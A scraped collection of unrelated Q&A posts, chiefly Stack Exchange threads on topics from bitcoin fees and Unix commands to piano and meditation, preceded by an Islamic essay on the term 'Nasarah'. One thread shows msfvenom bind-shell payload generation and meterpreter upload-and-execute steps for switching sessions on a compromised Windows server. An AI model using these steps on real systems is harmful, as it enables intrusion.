Meaning Nasarah is not a divine or religious title, people would use to call it for themselves before the Quran was revealed. If we take Nasarah as "helpers" then Allah SWT has used this word for many people even the people of Madina are called "Ansar". Can we translate here word "Ansar" as follower of Muhammad or as Muslim? They were Muslims and helpers of Prophet Muhammad PBUH in his early days and same applies on hawareen or apostles of Prophet Esa PBUH.
It is said that early followers of Prophet Esa PBUH who were Muslims of that time belonged to this town Nasirah or Nazereth. Initially Yahud and other people called them Nasarah in a derogatory sense. They were from Bani Israel and were Muslims of that time but they were very few in numbers and very weak as well so they did not resist to this name and accepted it as their identity.
So, in Divine wisdom Nasarah can mean "helpers" and can also mean "people who belong to Nasarah town.
CHRISTIANS
Roman were ruling this area near Jerusalem and when they saw some people associate themselves with Anointed one "Christ" they gave them a name "Christianitas" and eventually that word became Christians.
In the 4th century AD Romans accepted Christianity and then this word after passing through other European languages in English language gradually became "Christian" and People who were following Christ accepted it and now it is universally understood Christians as followers of Christ.
The Same European sometime call us Muslims as "Mohammeden" But by the blessing of Allah SWT we rejected it and still call ourselves Muslims. Had we accepted that term, today we would have been known as "Mohammden" and this would have been a kufr as to change the name that Allah SWT gave to this Ummat and we accept a name some other people gave to us. This is what happened to the followers of Prophet Esa PBUH and they accepted this name given by others and became or known as "Christians".
Also, it is very interesting that Nazareth Israel who are Christians but they do not accept this Roman version of Christianity.
So Nasarh is applied only to early Christians of the first century. Their followers existed till the time of Prophet Muhammad PBUH. Like the Christian teachers of Salman Farsi, Christians from Narajan and Christians of Habsha may fall in this category of Nasarah. Even today the Nazareth Israel are Christian who follow the first century teaching of the apostle of Prophet Esa PBUH and they reject Roman Christianity.
Now as Khazars converted to Judaism in 8th century, they cannot fall into the category of Yahud, Progney of Yaqub PBUH or Bani Israel. Similarly, nations and people who converted to Roman or Orthodox Christianity in 4th century BCE and who changed the teachings of the first century apostles and Esa PBUH, they cannot be called Nasarah.
Today "Christians" means people who claim they are followers
of Christ and may belong to any part of the world.
But in today's time any group of Christians who would want to come under the term Nasarah, they at least must go back to the teachings of the First century apostles who believed in virgin birth, who did not consider Prophet Esa PBUH as God, who did not believe in trinity, who followed the Sharia of Torah revealed on Prophet Musa PBUH not written by Rabbis, and then they may be called Nasarah.
For a detailed researched essay please contact
firstname.lastname@example.com

Bani Israel and Christians


Does the transaction fee depend on the transferred amount?

Question:
Do transaction fees depend on the amount of bitcoin sent?
On what factors do fees depends?
Answer: No.
Fees depend on the size of the transaction (measured in bytes), and can start at 1 satoshi per byte. So. if your transaction weighs 400 bytes, at 1 sat / byte you'll pay 400 sats.
The size of the transaction depends on its type (P2PK, P2PKH, P2SH, …) and the number of inputs and outputs in it.
Bitcoin transactions can have one or more inputs, and one or more outputs. This will be the major factor determining the size of your transaction.
Comment: The transaction weight is not measured in bytes, but in weight units since the activation of segwit. Weight is defined as the total byte length of the serialized transaction + 3× the byte length of the transaction without witness data. See e.g. https://bitcoin.stackexchange.com/a/89418/5406
Answer: A Bitcoin transaction is a combination of one or more inputs and one or more outputs. Each input is itself an out put of a previous transaction. So it is not liquid. I think it is good to think of them as paper banks. If you buy something that costs 27 dollar, you probably don't have a 27-dollar bill. you have some other coins and banknotes which sum of them is equal or more than 27. So you may pay 2 20-dollar and one 10-dollar bill and get 3 dollar as change. In this transaction beside amount of the deal, at least 4 banknotes were involved. So this is the factor to calculate the fee.
It's completely possible to have a very small transaction which has high fee, because it is made up of very tiny inputs or it has many outputs. On the other hand, if you try to move only one input to another output (without any change) it would be very cheap beside the amount of the input.
Answer: The cost of transactions is independent of the amount transferred. Rather it depends on the weight of the transaction, the current blockspace demand, and the urgency the sender wants to see it confirmed.
A transaction's weight is calculated from the byte count of its serialization. Non-witness data counts at a factor of 4, witness data counts at a factor of 1. Each transaction must have at least one input and one output, transactions with more inputs and outputs will weigh more. (See e.g. this overview of the weights of different output types.)
Transactions compete for the block weight they occupy in a block. Rational miners will prefer transactions with the highest feerate (fee per block weight) to maximize their mining revenue. A transaction's fee can thus be interpreted as a bid for a specific amount of block weight. If there are a lot of transactions waiting for confirmation, a sender might need to offer a higher feerate to see their transaction confirmed quickly.
Nodes generally do not relay transactions that pay feerates lower than 250 sat/kwu (or 1 s/vB), and miners usually do not include transactions in their blocks that pay less than this "minimum feerate".


WMS layer details not clearly visible in Leaflet

Question: I cannot figure out where the problm is. I use GeoServer and Leaflet. My problem is that when I visualise some layers (in particular that with the names of the clients) I cannot see them all at each zoom level as I in the layer preview in Geoserver. Why??
The SLD must be correct otherwise I wouldn't have a correct preview right? Then when I load the site in Leaflet and I zoom in and out I cannot see all the names of the clients. I also have a similar problem with pie-chart: in layer preview they are perfect, while in leaflet are cut or not visible. Where is the problem? Moreover, is there a way to solve it??
Comment: I have the same problem. I used leaflet.wms.js and the problem solved.
But after that i have problem with layer order. For example the basemap layergroup from geoserver is appearing on the top. Any idea;
Answer: You are not telling us how you get the WMS in Leaflet: are you using the default object or a plugin?
I have experiences the "cut" issues with labels too.
I suspect that the problem might come from the  fact that Leaflet WMS object is a extension of the Tile object and somehow in the request processing somehting ges wrong. The geometric object to which the label correspond is one one tile and the labels would be on two tiles, if it were a tile system. However, as the geometric object is not on the second tile, its label is not rendered and thus you get "cut" labels.
=> Check whether the issue always appear at the "tile" borders.
Maybe this plugin can help you: https://github.com/heigeo/leaflet.wms
Or you might want to change the default size of tiles, so that you get one big tile (the tile must be slightly bigger than the size of your map on the screen)
Comment: Really helpful answer! I just noticed that in the Geoserver layer preview there is the option "Tiled" or "Single Tile" and if I choose the former I get the same "mistake" where the latter allows me to see everything in terms of labels and pie charts. I'm giving a look to the link you suggested me...thank you @Djana
Comment: did you use this same plugin to resolve your issue? that's my piece of code about the layer:

function layerGeoserver(lName, opac){
 var lay = L.tileLayer.betterWms("http://" + ip + ":" + geoserverPort + "/geoserver/" + geoserverWorkspace + "/wms", {
  version: wmsVersion,
  layers: geoserverWorkspace + ':' + lName,
  format: 'image/png',
  transparent: true,
  attribution: layersAttrib,
 });
Comment: Good to know about the parameter in Geoserver, I didn't know that, but I will definitely pay attention to it now.
Comment: see https://gis.stackexchange.com/questions/156904/labels-on-tiled-map-sometimes-unavailable for a solution to the cut labels


Would the following question be on topic on this site?

Question: Could the following question be considered on topic on the Linguistic site?  https://english.stackexchange.com/questions/394563/why-are-expressions-like-gonna-wanna-and-shoulda-american-english
Answer: Probably not, because it is about the usage in a specific language, English.
OTOH, questions about contraction as a common linguistic phenomenon are not too rare on this site.
So, if it is primarily about a single language, then it make sense asking it at a place where users familiar with that language.
If it is about other aspects of contraction which may affect multiple languages, writing systems, and cultures, or perhaps some issues of automatic processing of these (NLP/CL), then Linguistics must be a better place.
Answer: It would be on topic. Although it is about just one language, there is no rule against asking a question about a single language. Unfortunately, there is substantial confusion over the "language specific grammar and usage questions" rule, and is not spelled out in any way in the help center. This rule being only visible as an unadvertised close reason, you really can't predict whether a question about the linguistic history of a single language will get closed. That close-reason also says "unless primarily concerned with linguistics rather than usage. There are many language-specific sites where such questions are welcomed; see: http://stackexchange.com/sites". A possible implication of that second statement is that questions about the grammar of a single language have to be directed to a language-specific site. I don't think that's what the rule is, and I occasionally rant about that problem, but that is just the way it is.
This is not a question about "usage" which is what I think the "language specific" rule is about. That is, it doesn't call for prescriptive judgments about proper English or what's good style. The reasons for those patterns are linguistic, especially having to do with lenition of /t/ in American English and some UK dialects. It is, however, a toss-up whether you'd get a good answer in either place, that is not an answer based on "why it might make sense", but one grounded in a thorough understanding of the documentary evidence.
So there are different opinions about the matter.


Switching to native meterpreter

Question: I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service.
I want to change to a windows meterpreter(in order to use windows exploits). I tried creating new .exe payloads with msfvenom and uploaded and executed them through the java meterpreter session. But I'm not able to get a new Windows meterpreter running.
This is what I've tried:
root@kali:~# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe > bindtcp5555.exe

meterpreter> upload /root/bindtcp5555.exe
...
[*] uploaded   : bindtcp5555.exe -> bindtcp5555.exe
meterpreter > execute -f bindtcp5555.exe -m
Process  created.

So I can upload and execute the payload but when I check running processes it's not in the list and my metasploit handler can't establish a session with tcp bind.
What am I doing wrong?
Answer: I just had to use the shell command in the java meterpreter in order to correctly be able to execute the .exe and get the windows meterpreter session running.

Switching to native meterpreter


If chown can change groups, why was chgrp created?

Question: So there's chown which lets you change the owner and group of files and/or directories. But there's also chgrp which only changes the group. Why was chgrp created? Isn't it redundant?
Comment: You can refer to the link here for more information. http://serverfault.com/questions/462174/using-chown-to-change-the-group-owner-of-a-directory-is-not-permitted-why/462180#462180
Answer: chown initially couldn't set the group. Later, some implementations added it as chown user.group, some as chown user:group until it was eventually standardised (emphasis mine):

The 4.3 BSD method of specifying both owner and group was included in
this volume of POSIX.1-2008 because:
There are cases where the desired end condition could not be achieved
using the chgrp and chown (that only changed the user ID) utilities.
(If the current owner is not a member of the desired group and the
desired owner is not a member of the current group, the chown()
function could fail unless both owner and group are changed at the
same time.)
Even if they could be changed independently, in cases where both are
being changed, there is a 100% performance penalty caused by being
forced to invoke both utilities.

Even now:

chown :group to only change the group is not portable or standard.
chown user: to assign the primary group of the user in the user database is not standard either.
Comment: @dayuloli, thanks for the edit, but I didn't include that section of the spec because [I don't understand it](http://unix.stackexchange.com/q/137086/22565)
Comment: Good question! Upvoted!
Comment: Nice to see that :group ans user: have been mentioned as non-standard. Many people here only check what their local vendor does and this is not helpful in a generic UNIX portal.
Answer: Root privileges are required when changing the user-owner* of a file.
A regular user can change the group-owner of a file to another group that he/she is a member of.
Maybe from this privilege perspective it made sense to keep them separate, especially in the pre-sudo era. Like chown could have been made setuid with a group of 'admin', allowing members of the 'admin' group to change the user-owner of files.
*  I use "user-owner" and "group-owner" and "others" for consistency with ugo. Confusing "o" for "owner" is a common mistake.


Second order perturbation theory

Question: The result for the non-degenerate second order perturbation theory is
$$ E_n'= \sum_{m\neq n}\frac{\left|\langle m | H' | n\rangle\right|^2}{E_n-E_m} $$
But does this mean that is doesn't matter if the purturbation is positive or negative?
Sorry for not being able to write in clear form.
Comment: Related: https://physics.stackexchange.com/q/32041/2451
Answer: Second-order perturbation theory results depend on $|\lambda|^2$, where $\lambda$ is the coupling to the perturbation ($H = H_0 + \lambda V$). You do get a sign, coming from the denominator. As you can see, the perturbation acts as a "repulsion" between the energy levels, because when $E_m$ is above $E_n$, the shift $E_n^{(2)}<0$ and the levels get further apart in energy. The converse happens when $E_m < E_n$. One says that the levels anti-cross.
Answer: For this question, the 1st order correction being 0, we must switch up to calculating 2nd order correction. The order and sign of the correction is wanted in this question, so if I say that the second order correction is proportional to the square of the perturbation term, and from your discussion, it is in principle negative, that the correction is actually a decrease in $\epsilon^2$.
But from the mathematical definition it shows that for a constant perturbation, it goes out of the integration and $(<\psi_n|\psi_m>)^2=0$ since they are orthogonal. Isn't it?

Second order perturbation theory


SIMPLE digital control over 555 timer frequency and PWM?

Question: I'm looking to create a sound generator with only simple ICs and components. I believe the 555 timer IC is a good candidate to be at the core of it, but I cannot for the life of me find out how best to control frequency and PWM digitally, and without complex devices like digital potentiometers. I've tried working with different configurations of ladder networks, but nothing is giving me the results I need. Could someone more knowledgeable than me with 555 timers and simpler component networks (i'm far too used to my fancy digital stuff, ha) help me out on this one? I'd like to get a square wave frequency out with 10-90% variable duty cycle and frequency from around 50 to a few thousand hertz. Would appreciate any help from a veteran in this stuff to point me the right way. Thanks!
Comment: 555 is the wrong component to use. Duty cycle only easily adjusts 55-95%. To sweep frequency over your range, you will need to switch capacitors, not just voltages or resistors. I'm curious, why do you believe it's a good IC to use for the job, when it's clearly so unsuited to your specifications?
Comment: Reading the first half of that I was thinking, this is way too difficult an intro project.  Reading your actual requirements, yeah, a 555 or 2 can do that.  Controlling it digitally though...  Yeah probably digipots or something.  0-100% duty cycle requires extra diodes, and for variable frequency and duty cycle, use a 555 as a clock triggering a second 555 one shot.  There are probably much better timer ICs though, especially if you want digital control.  Setting it up controlled by an actual pair of potentiometers would be much easier though.
Comment: How do you intend to access and control the frequency and duty cycle of this circuit? What are you using for each? Or do you intend to design and build a different circuit for each permutation?
Answer: I think tryng to have an accurate digital control for a 555 oscillator output is much harder than forgetting the 555 and just using accurate digital control to generate the wanted waveform itself. A microcontroller would be a simple IC to do that, as they can have multiple PWM modules built-in.


How do you master the art of phrasing in piano songs, especially the ones composed during the Romantic era?

Question: I started playing the first section of Liszt's "The Three Petrarch Sonnets." From bar 12, the melody and harmonies look so intertwined, and while I have figured out the melody, playing the harmonies seem to overpower the melody. Is there an effective practice or technique that will help to improve my phrasing?
Comment: If the problem is, as alephzero suggests, playing different dynamics with each hand, try looking at the suggestions here: http://www.abrsm.org/forum/index.php?showtopic=49127
Answer: Catherine Rollin's lyrical "Preludes For Piano Complete Collection" will be helpful, but if you struggle, back up a little into "Alfred's Premiere Piano Course Levels 5&6 (You may only need Level 6) these are introduced on You Tube and are really worth watching. Then "Portraits of The Sky & Original Piano Solos" by Randall Hartsell for Early to Mid-Intermediate pianists. If you desire to focus some on technique as I am doing, study "Hanon-Faber The New Virtuoso Pianist Selections From Parts 1 and 2"--he has the first three gestures on youtube. Then internalize them and apply them to your personal piano scores (slow practice repeatedly with technique training to automate your techniques to begin to apply what you are learning. Even starting with a very small section of a score.  Also watch his approach to the piano on other of his youtube videos partiularaly those describing techniques learned in Faber's Adult All-In-One Piano Course Level 2.  Further listen daily to Lyrical Piano Solos on youtube by composers and arrangers mentioned above as well as by William Gillock, Martha Mier and her books "Romantic Impressions"  Possibly even Timothy Brown's,"Nocturne" (this is also taught on youtube under "Succeeding At The Piano Lesson Book Level 4"- 'Nocturne'
Sheet music that I am loving to play and my Daughter so enjoys to hear is Catherine Rollin's "Song of Hope" Late Intermediate Piano Solo from The Alfred Signature Series.  I improvise right into it and I will never tire playing this one- it's beautifully sonorous!  One other sheet music by Angela Marshall also from Alfred's Signature Series "Romanza"
Also, listen intently to music you are planning to work on (with score open if possible, watching closely to Romantic pianists perform on youtube or at concerts, analyze their techniques and mimic them. Search for "learning Rubato" videos, especially by Joshua Wright as he and his wife both have their Doctorate degrees in Concert Performance. Joshua has both teachings and performances on youtube. He has a website on the Internet and has began selling his CDSs and offers auditions for lessons via Skkype also as he has taught piano for a multiple number of years.  He answers your emails and may even create a video answering your question, mentioning your name and gives of his time generously on youtube. Josh teaches Chopin's Romantic style alot and like himself, he has students that compete at piano competitions. He is most humble and enjoys helping us play and perform.
If this is still above your head may I recommend that you study John Thompson's "Tuneful Technique" (Books I and II), "Third Grade Velocity Studies" "Keyboard Attacks:Twenty-Four Examples from the Masters to Develop Interpretation and Expression." The Romantic pianists utilize probably all of these touches found in this book, particularly the Pressure Touch to voice the lyrical melodies. Following these or along with them study John Thompson's  "Fourth Grade Etudes:Twenty-Four Progressive Studies In All Keys from Works of Berens; Bertini; Cramer; Czerny; Gurlitt; Heller; Leybach, Loschhorn and John Thompson Each Containing Preparatory Exercises."
Something also that may help because I have their Mozart, Bach and Beethoven' Studies and their books are exquisite! They show references for their research, teach with comments and writing out note for note each and every ornamentation, leaving no guess work for the student.  Get "Chopin: An Introduction to his Keyboard Music by Willard A. Palmer: An Alfred Masterwork Edition"  I believe you will learn alot about Chopin.
I also utilize John Thompson's "Easiest Piano Course  "Supplementary Piano Course With Melody All The Way Book 3-b" to catapult myself into studying Early Advanced piano repertoire- and I am also going to be studying Chopin's entire collection, starting with the easiest for me first, "Chopin's Nocturnes, Preludes and Waltzes" after I verify my piano techniques and finish learning all scales and chordal theories of harmonization. My best to you.
HAPPY PIANO EXPLORATION!
Answer: My answer is a general answer, not specific to the Lizst.  It is about identifying melody, countermelody, and accompaniment.  You need to bring out (play louder) the melodies and countermelodies where appropriate.  The notes in the accompaniment mainly stay softer, in the background, but occasionally need to be brought out when they push the harmonic progression forward. You may be playing one or two of these at a time in the same hand, so you need to know which notes to play louder and softer with the same hand.  "Left hand softest" is way too simplistic.  If the LH has the melody, it needs to be loudest.  If the LH has a countermelody, it needs to be louder than any accompaniment in the RH, even if RH also has the melody. Additionally, shaping the phrases requires crescendo and diminuendo appropriate to the lines, which means that at some points countermelody may be louder than melody.  These are all aspects of mature musical interpretation.  If these are things you do not understand, you need a teacher to help you learn the piece.


What is Mastery of reflectionJhana mastery

Question: They say to master jhana you must master five factors. I understand the first four but mastery of reflection is kind of leaving me unsure. I think i get it. Once you come out of the jhana state, you refect on the absorption factors like you do the jhana factors you focus on each until the hindrances is gone. But what are these absotbtion factors. Do i just think about it or stsrt a second meditations on each factor and be aware of them? How do i know what these factors are and distinguish them? They also say there different absorption factor to reflect on. Can you help me understand
Answer: These five powers have to be mastered, DeusIIXII, for the purpose to develop right view, for the purpose to gain proper concentraion, for the purpose of release:
(the) first
❋ Namo tassa bhagavato arahato sammā-sambuddhassa ❋

There are these five strengths for one in training. Which five? Strength of conviction, strength of conscience, strength of concern, strength of persistence, & strength of discernment.
And what is strength of conviction? ...Vitthara Sutta: (Strengths) in Detail

Since certain prerequisites are possible missing, for one living at home: Development of the first six recollections/reflections can be done "no" matter how busy you are, if the busy is according to the Dhamma: AN 11.13
Since lack of stinginess is prerequisiten

"Without abandoning these five qualities, one is incapable of entering & remaining in the second jhana... the third jhana... the fourth jhana; incapable of realizing the fruit of stream-entry... the fruit of once-returning... the fruit of non-returning... arahantship. Which five? Stinginess as to one's monastery [lodgings], stinginess as to one's family [of supporters], stinginess as to one's gains, stinginess as to one's status, and ingratitude. Without abandoning these five qualities, one is incapable of entering & remaining in the second jhana... the third jhana... the fourth jhana; one is incapable realizing the fruit of stream-entry... the fruit of once-returning... the fruit of non-returning... arahantship.
Macchariya Suttas: Stinginess

Lack of Macchariya is reached by entering the stream. So as long difficulty in devotion, gratitude, precepts, e.g. having not really get known the Dhamma by proper attention, no right view yet, it's good to focus on the base. Then it might be possible, like for this generous and devoted man, to take on: fear & animosity are stilled
Much joyful effort is wished!
Addition, since just coming aware again: There is a "new" book, a gift of Dhamma to give, surely very usefullin this regard:

 The Five Faculties : Putting Wisdom in Charge of the Mind, by Ṭhānissaro Bhikkhu. (revised October 22, 2017) In May of 2017, members of Le Refuge, a Buddhist group located near Marseilles, invited me to lead an nine-day retreat on the topic of the five faculties (indrīya): conviction, persistence, mindfulness, concentration, and discernment. These are a set of qualities that the Buddha numbered among his most important teachings. When put in charge of the mind, they lead all the way to awakening. Taken together, they deal primarily with the practice of meditation, which makes them a good framework for a meditation retreat. However, the first faculty—conviction—focuses on questions of self and world: what kinds of happiness you believe you are capable of attaining, along with what kind of happiness you believe can be found in the world. This means that the five faculties also provide an excellent framework for covering the entire practice of the Buddha's teachings, both on retreat and in the world at large. (Source)

Note that "reflection", which you used in the question, is actually wisdom/"knowing" (paññā), or discrimination, such as reflection requires sati (mindfullness) and paññā.
Since knowledge at first place, having hear/read the good Dhamma, this might be most usefull to fullfil the answers demand on it's root.

[Note: This is a gift of Dhamma, not meant for commercial purpose and other low wordily gains by means of trade and exchange]
Answer: You should ask your jhāna-attained teacher.
5 mastery are:

āvajjanavasī - professional & quick & easy recalling 5 jhāna-factors, everytime everywhere.
samāpajjanavasī - professional & quick & easy to begin attaining jhāna, everytime everywhere.
adhiṭṭhānavasī - professional controlling time period of jhāna attaining, such as I just attaining a second then use actually a second, I just attaining a minute then use actually a minute, etc.
vuṭṭhānavasī - professional stopping the attaining jhāna.
paccavekkhaṇavasī = āvajjanavasī.

Paccavekkhaṇavasī is āvajjanavasī, nothing difference of them.
Samāpajjanavasī expert begin jhāna.
Adhiṭṭhānavasī expert attaining jhāna.
Vuṭṭhānavasī expert stop jhāna.
Path of purification page 146-148 [204-206 by e-book's auto number]:

Therefore he should acquire mastery in the five ways first of all with respect to the first jhána. Herein, these are the five kinds of
  mastery: mastery in adverting, mastery in attaining, mastery in
  resolving (steadying the duration), mastery in emerging, and mastery
  in reviewing. "He adverts to the first jhána where, when, and for as
  long as, he wishes; he has no difficulty in adverting; thus it is
  mastery in adverting. He attains the first jhána where ... he has no
  difficulty in attaining; thus it is mastery in attaining" (Paþis I
  100), and all the rest should be quoted in detail (XXIII.27).
The explanation of the meaning here is this. When he emerges from the first jhána and first of all adverts to the applied thought, then,
  next to the adverting that arose interrupting the life-continuum,
  either four or five impulsions impel with that applied thought as
  their object. Then there are two life-continuum [consciousnesses].
  Then there is adverting with the sustained thought as its object and
  followed by impulsions in the way just stated. When he is able to
  prolong his conscious process uninterruptedly in this way with the
  five jhána factors, then his mastery of adverting is successful. But
  this mastery is found at its acme of perfection in the Blessed One's
  Twin Marvel (Paþis I 125), or for others on the aforesaid occasions.
  There is no quicker mastery in adverting than that.
The venerable Mahá-Moggallána's ability to enter upon jhána quickly, as in the taming of the royal nága-serpent Nandopananda
  (XII.106f.), is called mastery in attaining.
Ability to remain in jhána for a moment consisting in exactly a finger- snap or exactly ten finger-snaps is called mastery in
  resolving (steadying the duration). Ability to emerge quickly in the
  same way is called mastery in emerging.
The story of the Elder Buddharakkhita may be told in order to illustrate both these last. [155] Eight years after his admission to
  the Community that elder was sitting in the midst of thirty thousand
  bhikkhus possessed of supernormal powers who had gathered to attend
  upon the sickness of the Elder Mahá- Rohanagutta at Therambatthala. He
  saw a royal supaóóa (bird) swooping down from the sky intending to
  seize an attendant royal nága-serpent as he was getting rice-gruel
  accepted for the elder. The Elder Buddharakkhita created a rock
  meanwhile, and seizing the royal nága by the arm, he pushed him inside
  it. The royal supaóóa gave the rock a blow and made off. The senior
  elder remarked: "Friends, if Rakkhita had not been there, we should
  all have been put to shame."
Mastery in reviewing is described in the same way as mastery in adverting; for the reviewing impulsions are in fact those next to the
  adverting mentioned there (§132).
When he has once acquired mastery in these five ways, then on emerging from the now familiar first jhána he can regard the flaws in
  it in this way: "This attainment is threatened by the nearness of the
  hindrances, and its factors are weakened by the grossness of the
  applied and sustained thought." He can bring the second jhána to mind
  as quieter and so end his attachment to the first jhána and set about
  doing what is needed for attaining the second.
When he has emerged from the first jhána, applied and sustained thought appear gross to him as he reviews the jhána factors with
  mindfulness and full awareness, while happiness and bliss and
  unification of mind appear peaceful. Then, as he brings that same sign
  to mind as "earth, earth" again and again with the purpose of
  abandoning the gross factors and obtaining the peaceful factors,
  [knowing] "now the second jhána will arise," there arises in him
  mind-door adverting with that same earth kasióa as its object,
  interrupting the life-continuum. After that, either four or five
  impulsions impel on that same object, the last one of which is an
  impulsion of the fine-material sphere belonging to the second jhána.
  The rest are of the sense sphere of the kinds already stated (§74).

cr. www.accesstoinsight.org/lib/authors/nanamoli/PathofPurification2011.pdf


How to open external links in new window?

Question: I'm using the "filtered HTML" text format in the node body with the "convert URLs into links" option enabled.
I would like to have all external links open in a new window. How can I do that?
Answer: The External Links module does exactly that:

External Links is a small module used to differentiate between internal and external links. Using jQuery, it will find all external links on a page and add an external icon indicating it will take you offsite or a mail icon for mailto: links.
Configuration options:

Apply icons to either mailto: or external links or both.
Configure external links to open in a new window.
A confirmation message when leaving the site.
Regular expression inclusion and exclusion of links considered external.
CSS selector inclusion and exclusion of elements for processing
Answer: If you don't want to use JavaScript for this, you need to implement theme_link(&variables) in your template.php file.
Test $variables['path'] for scheme declaration at the beginning. If there is none, leave it be. If there is some, add target to attributes:
$variables['options']['attributes']['target'] = '_blank';

Of course it bases on assumption that your HTML version supports target attribute, but this version is also theme-dependent, and most browsers will respect it even if technically it shouldn't be there.
Answer: You can use the Linkit module and add a "target" attribute at admin/config/content/linkit/manage/default/attributes/add
It has two options:

Selectlist with predefined targets.

Simple checkbox to allow links to be opened in a new browser window or tab.


What should be done when a question's title and body differ?

Question: Sometimes a user will ask one question in the title, then a completely different question in the body. Sometimes there are good answers to both of the questions, as here. This can be a problem because a passing user who found the question through a general web search may move on to the next search result after reading the body and finding the question doesn't actually match what he was searching for.
Comment: The particular question you cite has been discussed before: http://meta.unix.stackexchange.com/questions/201/what-should-i-do-with-this-q-edit-or-repost-with-new-details
Comment: change the body to match the title... ( humor only, don't kill me )
Answer: I think the asker should be prompted to clarify and make them match. If (s)he doesn't react, and you have enough reputation to edit the post, I think it's a good idea to edit the title to match the question body.
If there are two completely different questions, it is best if they are posted separately. Again, you can prompt the asker to do so. But if both questions have been answered, it's a bit late for splitting.
If the thread has quietened down, I might even edit the title and tags to reflect the topics that the answers cover. This is more debatable; it's a matter of finding the right balance between respecting the original poster's question and making the answers easier to find for the people who would find them useful.


Brake lever clamp too loose for handlebars

Question: I'm trying to attach a new brake lever onto my handlebars, however, the clamp (circular part) of the brake lever that slides onto the handlebars is a bit too loose. I've tried to tighten it but because it's entirely made of metal, the clamp doesn't tighten much on the handlebars. Right now I haven't put the grips on my handlebars yet. How do I resolve this problem? Will putting a roll of handlebar grip between the handlebars and the brake clamp help secure the clamp? Thanks.
Comment: You probably have wrong lever for the bars. Squishy tape is a bad idea, but there might be adapter shim or correct lever. Could you post a photo?
Comment: Personally I'd go buy the right brake levers rather than fudge something as critical as brakes.
Answer: Normal aluminum cans are basically .1mm thick, so a wrap gives you .2mm. Most of the smaller scale clamp diameter discrepancies, say from a tolerance problem or from a mismatch like a 26.0 aux lever on a 25.4 clamp area, one encounters clamping controls and acessories on to bars can be resolved with aluminum can shims, or stacks of them. Going up to putting a 23.8 aux lever on a 22.2 section with them gets dicier; other kinds of shim stock will work better, but even there putting 8 layers of can on is probably fine. As long as your shim material is metal and as long as the finished product doesn't slip readily, it's probably fine. Fiber grip/carbon prep can lend a lot of solidity to such hacks.
Use scissors and math to prepare the shims. Don't cut yourself.
Comment: I have successfully used a rectangle of thicker (1mm) plastic between a stem and bars.  The stem clamp was a good 3cm wide though, much wider than a typical brake or gear clamp.


Why is LDL more easily oxidized/damaged than HDL?

Question: Why are low-density lipoproteins (LDL) more easily oxidized than high-density lipoproteins (HDL)? By LDL and HDL, I mean the lipoproteins that carry cholesterol.
Oxidation of LDL ultimately contributes to heart disease.
Answer: Just a brief background about lipoproteins:
Lipids and proteins associate noncovalently to form lipoproteins, which function in the blood plasma as transport vehicles for triacylglycerols and cholesterol. Simple, unesterified fatty acids are merely bound to serum albumin and other proteins in blood plasma, but phospholipids, triacylglycerols, cholesterol, and cholesterol esters are all transported in the form of lipoproteins.
In general, lipoproteins are classified according to their densities. The densities are related to the relative amounts of lipid and protein in the complexes.  Thus, there are:

high-density lipoproteins (HDLs),
low-density lipoproteins (LDLs),
Intermediate density lipoproteins (IDLs),
very-low-density lipoproteins (VLDLs), and also
chylomicrons.

Chylomicrons have the lowest protein-to-lipid ratio and thus are the lowest-density lipoproteins. They are also the largest.

There are a couple of things to take into consideration:

How they function

LDL appears to be the major circulatory complex for cholesterol and cholesterol esters. At various target sites, particularly in the capillaries of muscle and adipose cells, these particles are degraded by lipoprotein lipase, which hydrolyses triacylglycerols. Lipase action causes progressive loss of triacylglycerol (and apoprotein) and makes the lipoproteins smaller. This process gradually converts VLDL particles to IDL and then LDL particles, which are either returned to the liver for reprocessing or redirected to adipose tissues.  This results in even more increase in LDL than other lipoproteins.

Environment

Another explanation is based on environment conditions -the LDL binds to specific LDL receptors, which cluster in domains of the plasma membrane which subsequently form coated vesicles which pinch off from the plasma membrane and form endosomes. In the low pH environment of the endosome, the LDL particles dissociate from their receptors. The endosomes then fuse with lysosomes, and the LDLs are degraded by lysosomal acid lipases into amino acids, fatty acids, and cholesterol.
Newly formed HDL contains virtually no cholesterol ester (however, over time, cholesterol esters are accumulated through the action of lecithin:cholesterol acyltransferase).
Another associated protein, cholesterol ester transfer protein, transfers some of these esters to VLDL and LDL. Alternatively, HDLs function to return cholesterol and cholesterol esters to the liver. This latter process apparently explains the correlation between high HDL levels and reduced risk of cardiovascular disease. High LDL levels, on the other hand, are correlated with an increased risk of coronary artery and cardiovascular disease.
Reference
Biochemistry (Grisham)
Biochemistry (Campbell and Farrel)
Answer: HDL might not be more easily oxidized than LDL.
From Lipids Health Dis. 2005[1]:

Our findings are in line with the studies by Bowry[4],
Suzukawa [10], Schnitzer [11], Ohmura
[12] and Raveh [9], who have come to the
conclusion that HDL is more easily oxidized than LDL. In other
studies, HDL has appeared to be less prone to oxidation and even to
protect LDL against copper-induced oxidation[3,13-15].

Reference:
[1]: Solakivi, T., Jaakkola, O., Salomäki, A. et al. HDL enhances oxidation of LDL in vitro in both men and women. Lipids Health Dis 4, 25 (2005). https://doi.org/10.1186/1476-511X-4-25


Difference between eval and alias commands

Question: what are the differences between eval and alias commands?
Examples:
x='ls -d -l $HOME'
$x
eval $x

alias y='ls -l -d $HOME'
y

Answer: Mostly semantics. While combining your command strings into variables is useful for scripting purposes, it isn't good for aliasing. One visible reason is completion - while various completion scripts, like bash_completion might be able to deal with aliases (which sadly never happened to be my case), making them assume that variables are extendable to commands could make it somehow messy.
Second reason is alias allows you to make command shortcuts without using any magic command nor character like $ to run them. This way the substitution is transparent and it allows to override default settings for some programs. One good example is ls, which is often aliased as ls --color=auto by default. Users don't have to know that to see colored output. Some distributions alias rm and related commands as rm -i, so they work in interactive mode and can prevent accidental removals.
Variables on the other hand may be useful for some uses that don't require mimicking binaries. A wide and good example is EDITOR environmental variable. It makes it possible not only to run your favorite editor using $EDITOR, but also makes other programs (which may not have access to shell) able to run it, taking it's value from their execution environment.
There might be some other things I'm not aware of, but the outcome is the same: those commands are to be used as they're intended.
Answer: Aliases are not to be used in scripts (disabled by default in non-interactive shells. You can even combine several aliases (like several strings for eval). But aliases don't give you the nice level of indirection which you get from the command line getting parsed twice:
text1=foo; text2=bar; text3=fubar
for((i=1;i<4;i++)); do
  eval echo \$text${i}
done

I admit this could be done without eval (varname=text${i}; echo ${!varname}). But when constructing commands I would always use eval.
shell-expand-line (M-C-e) works with neither without errors. :-)


Impulse response of a transfer function

